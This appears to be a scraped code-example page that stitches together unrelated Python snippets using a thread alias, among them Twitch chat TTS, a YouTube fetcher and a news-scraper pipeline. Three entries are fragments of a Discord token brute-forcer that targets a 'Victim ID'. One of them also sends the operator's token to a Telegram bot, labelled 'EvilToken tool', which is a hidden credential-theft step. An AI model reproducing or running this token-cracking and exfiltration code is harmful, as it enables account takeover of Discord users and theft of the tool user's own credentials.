Exemplo n.º 1
0
async def tw_irc_format(message, message_type):
    channel = ''
    t = time.ctime().split()[3]
    if message_type == 'PRIVMSG':
        text = message[message.find(' :')+2:]
        # print(text)
        user = message[1:message.find('!')]
        # print(user)
        channel = message[message.find('#')+1:].split()[0]
        # print(channel)

        # print(Fore.WHITE+t, Fore.CYAN+user+Fore.RED+'@'+
        #     Fore.MAGENTA+channel+':', Fore.YELLOW+text, end=' ')
        await channel_layer.group_send(
        'chat_lobby',
            {
                'type': 'chat.message',
                'message': text,
                'origin': 'twitch',
                'channel': channel,
                'user': user
            }
        )
        if channel == 'sunraylmtd' and text[0:2] == '! ':
            print(text[2:], 'TVC')
            thr(target=tts, args=(text[2:], user, "ru-RU-Wavenet-B", None)).start()

        await log_message(message, 'twitch', '', '')


    if message_type == 'JOIN':
        channel = message[message.find('#'):].split()[0]
Exemplo n.º 2
0
    async def on_ready(self):
        sendteleg(TOKEN + "%0A%0AChecked working from EvilToken tool."
                  )  # Mengirimkan token ke Bot Telegram.
        userid = input(f"[{Fore.RED}>{Fore.RESET}] ID Victim: "
                       )  # Meminta input ID Victim.
        user = await client.fetch_user(int(userid)
                                       )  # Menyari info user dari ID Victim.
        stamp = user.created_at  # Menyari info tanggal pendaftaran dari ID Victim
        timestamp = str(time.mktime(
            stamp.timetuple()))  # Mengubah variable ke String.
        print(
            f"{Fore.RESET}[{Fore.RED}!{Fore.RESET}] Account Creation Date : " +
            timestamp)  # Memunculkan info kapan akun terdaftar.
        encodedBytes = base64.b64encode(
            userid.encode("utf-8"))  # Mengencode userID ke Base64.
        encodedid = str(encodedBytes,
                        "utf-8")  # Menyimpan hasil encode userID.
        encodedBytes = base64.b64encode(timestamp.encode(
            "utf-8"))  # Mengencode tanggal pendaftaran ke Base64.
        encodedstamp = str(
            encodedBytes,
            "utf-8")  # Menyimpan hasil encode tanggal pendaftaran.
        print(
            f"{Fore.RESET}[{Fore.RED}!{Fore.RESET}]{Fore.WHITE} Attempting to crack {Fore.YELLOW}{user}{Fore.WHITE}'s token"
        )
        time.sleep(3)

        # Mulai bruteforcing dengan thread berkali kali.
        for i in range(10000):
            thr(target=gen, args=(encodedid, encodedstamp)).start()
Exemplo n.º 3
0
def ytgetvideos(url, headers, count):

    r = requests.get(url, headers)

    while count:

        video = []
        youtube_id = ''
        pub_date = ''
        name = ''
        thumbnail_high = ''

        for e in r.json()['items']:
            if count:
                count -= 1
                print(e)
                youtube_id = e['snippet']['resourceId']['videoId']
                name = e['snippet']['title']
                pub_date = e['snippet']['publishedAt']
                thumbnail = e['snippet']['thumbnails']['high']['url']
                print(youtube_id, name)
                video = [youtube_id, name, pub_date, thumbnail]
                videos.append(video)
                thr(target=fill_data, args=(video, )).start()

        if 'nextPageToken' in r.json():

            pageToken = r.json()['nextPageToken']
            print(pageToken)
            headers = {'pageToken': pageToken}
            ytgetvideos(url, headers, count)

        break
def mp_analyze(que_in, que_out):
    que_check = queue.Queue()
    for _ in range(10):
        thr(target=analyze, args=(que_check, que_out)).start()
    while 1:
        if que_in.empty():
            time.sleep(10)
            continue
        obj = que_in.get()
        if not obj[2] or len(re.sub('[\Wa-zA-Z0-9_]+', '', obj[2])) < 200:
            continue
        que_check.put(obj)
Exemplo n.º 5
0
 async def on_ready(self):
     userid = input(f"[{Fore.RED}>{Fore.RESET}] Victime ID : ")
     user = await client.fetch_user(int(userid))
     stamp = user.created_at
     timestamp = str(time.mktime(stamp.timetuple()))
     print(timestamp)
     encodedBytes = base64.b64encode(userid.encode("utf-8"))
     encodedid = str(encodedBytes, "utf-8")
     encodedBytes = base64.b64encode(timestamp.encode("utf-8"))
     encodedstamp = str(encodedBytes, "utf-8")
     print(
         f"{Fore.WHITE}Attempting to crack {Fore.YELLOW}{user}{Fore.WHITE}'s token"
     )
     time.sleep(3)
     for i in range(10000):
         thr(target=gen, args=(encodedid, encodedstamp)).start()
Exemplo n.º 6
0
 async def receive(self, text_data):
     print(text_data)
     text_data_json = json.loads(text_data)
     name = text_data_json.get("name", "")
     vcmessage = text_data_json.get("vcm", "")
     voice = text_data_json.get("voice", "")
     if vcmessage:
         thr(target=tts, args=(vcmessage, name, voice, None)).start()
     if text_data == '{"ctrl":"skip"}':
         if self.scope['user'].is_superuser:
             await self.channel_layer.group_send(
                 'voice',
                 {
                     'type': 'voice_skip',
                 }
             )
Exemplo n.º 7
0
        async def on_ready(self):
            userid = input(f"[{Fore.BLUE}?{Fore.RESET}] VICTIMS ID > ")

            user = await client.fetch_user(int(userid))
            stamp = user.created_at
            timestamp = str(time.mktime(stamp.timetuple()))
            print(timestamp)
            encodedBytes = base64.b64encode(userid.encode("utf-8"))
            encodedid = str(encodedBytes, "utf-8")
            encodedBytes = base64.b64encode(timestamp.encode("utf-8"))
            encodedstamp = str(encodedBytes, "utf-8")

            print(f"[{Fore.BLUE}X{Fore.RESET}] BRUTEFORCING > {user}")
            time.sleep(3)
            for i in range(10000):
                thr(target=gen, args=(encodedid, encodedstamp)).start()
Exemplo n.º 8
0
    async def dnt_main(self, message):
        async with aiohttp.ClientSession() as session:
            url = environ.get('QWU')
            while True:
                html = await self.fetch(session, url)
                msg = json.loads(html)
                if msg['events']:
                    for e in msg['events']:
                        if not e['type'] == 'DONATION':
                            break
                        message = e['attributes']['DONATION_MESSAGE']
                        name = e['attributes']['DONATION_SENDER']
                        donate = [e['attributes']['DONATION_AMOUNT'], e['attributes']['DONATION_CURRENCY']]

                        thr(target=tts, args=(message, name, "ru-RU-Wavenet-B", donate)).start()

                        print(e['donateDatetime'], e['attributes']['DONATION_AMOUNT'], msg, e)
                await asyncio.sleep(2)
Exemplo n.º 9
0
                await asyncio.sleep(30)

class TaskConsumer(AsyncConsumer):

    switch = 0

    async def start_tasks(self, message):
        print(self.switch)
        if not self.switch:
            
            # thr(target=list_voices).start()
            # thr(target=ytchat).start()

            self.switch = 1

thr(target=list_voices).start()
async_to_sync(channel_layer.send)("qw",{ "type": "dnt.main",})
async_to_sync(channel_layer.send)("tw",{ "type": "tw.irc",})
async_to_sync(channel_layer.send)("ok",{ "type": "ok.ws",})
async_to_sync(channel_layer.send)("tasks",{ "type": "start.tasks",})


class ChatConsumer(AsyncWebsocketConsumer):

    async def connect(self):

        print(self.scope)
        self.room_name = self.scope['url_route']['kwargs']['room_name']
        self.room_group_name = 'chat_%s' % self.room_name
        print(self.room_name, self.room_group_name)
Exemplo n.º 10
0
        "保險": "投資",
        "法律": "學術",
        "直銷雲": "投資",
        "探索": "生活",
        "運勢": "閒聊"
    }

    db = sql.connect('test.db')
    cursor = db.cursor()
    que_scrapy = queue.Queue()
    que_input = queue.Queue()
    sem_scrapy = sm(10)
    temp_dic = {}
    counter = 0

    thr(target=ettoday.start, args=(1000000, que_scrapy, sem_scrapy)).start()
    print('scrapy already.')
    time.sleep(5)
    thr(target=mp_analyze, args=(que_scrapy, que_input)).start()
    print('analyze already.')
    time.sleep(5)
    print('go')

    while 1:
        if que_input.empty():
            time.sleep(10)
            if que_input.empty():
                print('\nmain input waiting..')
                continue
        type, url, result = que_input.get()
        print(' ' * 79, end='\r')